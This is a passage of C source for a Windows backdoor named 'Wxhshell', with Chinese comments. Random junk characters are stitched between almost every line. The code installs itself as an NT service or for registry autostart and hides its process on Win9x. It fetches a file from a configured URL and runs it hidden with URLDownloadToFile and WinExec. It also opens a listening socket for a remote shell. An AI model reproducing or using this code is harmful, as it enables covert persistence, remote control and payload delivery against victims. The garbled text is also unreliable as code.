J&-[P hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K~Hp%. if(hProcess==NULL) return 0; @-Js)zcl q !&OybjQ HMODULE hMod; gsp|?)]x char procName[255]; ! <xe Ao%8 unsigned long cbNeeded; 6tg0=_c 3xGk@ 333 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jB!Q8#&Q Z&R{jQ, CloseHandle(hProcess); :3Hr:~ wWR9dsB.; if(strstr(procName,"services")) return 1; // 以服务启动 @9<MW K\]ey;Bd return 0; // 注册表启动 6?v)Hb}J%d } s'|^ 6/ AHre#$`97 // 主模块 L0O},O int StartWxhshell(LPSTR lpCmdLine) i0-zGEMB. { X}$uvB}+> SOCKET wsl; [#emm1k BOOL val=TRUE; 3<nd;@:- int port=0; %}asw/WiUa struct sockaddr_in door; {qHf%y&[ 2_]"9d4 if(wscfg.ws_autoins) Install(); XVKR}I 2nGQD{ port=atoi(lpCmdLine); >
%U n/fMq,<8 if(port<=0) port=wscfg.ws_port; 1]uHaI( _n;V iQMu WSADATA data; 3G7Qo if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jI(}CT`g y84=Q if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; )q48cQ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?lYi![.o door.sin_family = AF_INET; b{o%`B* door.sin_addr.s_addr = inet_addr("127.0.0.1"); r-$SF5uv door.sin_port = htons(port); |?Z;tAF! mw1|>*X&R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 71?>~PnbH} closesocket(wsl); <ZV !fn return 1; :3# t; } ;-1yG@KG ,nELWzz%{ if(listen(wsl,2) == INVALID_SOCKET) { v<z%\`y closesocket(wsl); A9[ELD>p return 1; x;cjl6Acm } x\m !3 Wxhshell(wsl); SBY
WSACleanup(); 9_mys}+ "=uphBZog return 0; eh-/,vmRa @,RrAL}| } )(|+z' k%?fy // 以NT服务方式启动 b{KpfbxcI VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9oL/oL-J/ { (@H'7 , DWORD status = 0; )h0F'MzW DWORD specificError = 0xfffffff; pbe"
w=< 'W/E*O6BY serviceStatus.dwServiceType = SERVICE_WIN32; I-Ya#s#m serviceStatus.dwCurrentState = SERVICE_START_PENDING; lth t'| serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W`KRaL0^ serviceStatus.dwWin32ExitCode = 0; j`Xe0U< serviceStatus.dwServiceSpecificExitCode = 0; R&BbXSIDX serviceStatus.dwCheckPoint = 0; vt" 7[!O serviceStatus.dwWaitHint = 0; ptXLWv` 4A_}:nU hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %z&=A%'a if (hServiceStatusHandle==0) return; ]R8}cbtU ROr..-[u status = GetLastError(); +IiL(\ew if (status!=NO_ERROR) ~7tG%{t% { u:Q_XXT5 serviceStatus.dwCurrentState = SERVICE_STOPPED; S"iz
fQ@ serviceStatus.dwCheckPoint = 0; > !thxG/_ serviceStatus.dwWaitHint = 0; T=|oZ serviceStatus.dwWin32ExitCode = status; 'G!w0yF serviceStatus.dwServiceSpecificExitCode = specificError; \h DH81L SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"'1. return; p-H q\DP } h^h!OQK Q |RBgJkS;8 serviceStatus.dwCurrentState = SERVICE_RUNNING; .6yC' 3~;o serviceStatus.dwCheckPoint = 0; #TLqo(/ serviceStatus.dwWaitHint = 0; C< GS._V& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lZ5 lmsCU } d`U{-?N> }];8v+M // 处理NT服务事件,比如:启动、停止 +j._NRXRH VOID WINAPI NTServiceHandler(DWORD fdwControl) oGi;S ="I { GVT+c@Gx
switch(fdwControl) ewYZ} "o { iol.RszlZ| case SERVICE_CONTROL_STOP: &y?L^Aq serviceStatus.dwWin32ExitCode = 0; FTx&] QN? serviceStatus.dwCurrentState = SERVICE_STOPPED; Y3+GBqP serviceStatus.dwCheckPoint = 0; jrGVC2*rD serviceStatus.dwWaitHint = 0; 'OKDB7Ni {
5gV%jQgkC SetServiceStatus(hServiceStatusHandle, &serviceStatus); |0vV?f$ } UwuDs2
t return; _VFxzM9f case SERVICE_CONTROL_PAUSE: #\kYGr-G) serviceStatus.dwCurrentState = SERVICE_PAUSED; %Y"@VcN break; [:geDk9O#' case SERVICE_CONTROL_CONTINUE: Tti]H9g_ serviceStatus.dwCurrentState = SERVICE_RUNNING; Cf'O*RFD break; =FkU:q$ case SERVICE_CONTROL_INTERROGATE: $*ujX,}xG break; zT[[WY4 }; :^+ aJ] SetServiceStatus(hServiceStatusHandle, &serviceStatus); K8{U b } F2yc&mXyk |kL^k{=zV // 标准应用程序主函数 sGjYL>* int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +@wa?" { H@$\SUc{ a)'^'jm)4 // 获取操作系统版本 ,}i`1E 1= OsIsNt=GetOsVer(); Z}(,OZh GetModuleFileName(NULL,ExeFile,MAX_PATH); Z !Njfq5 -AUdBG // 从命令行安装 {O-,JCq/ if(strpbrk(lpCmdLine,"iI")) Install(); aZGX`;3 \8%64ZL` // 下载执行文件 zfDxc3e
if(wscfg.ws_downexe) { J>(I"K% if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qo>VN`v WinExec(wscfg.ws_filenam,SW_HIDE); u9Wi@sO# } 4-@D` ,3L Z `FqC if(!OsIsNt) { m&xyw9a // 如果时win9x,隐藏进程并且设置为注册表启动 Ti`H?9t HideProc(); ` V}e$ StartWxhshell(lpCmdLine); \'I->O] } Gma)8X# else md_9bq/w if(StartFromService()) x35(i // 以服务方式启动 =vxiqRm StartServiceCtrlDispatcher(DispatchTable); [ay~l%x else }Wf \\ // 普通方式启动 1{B^RR. StartWxhshell(lpCmdLine); Fj<#*2{]B "G\OKt'Z return 0; N>?R,XM
V }
|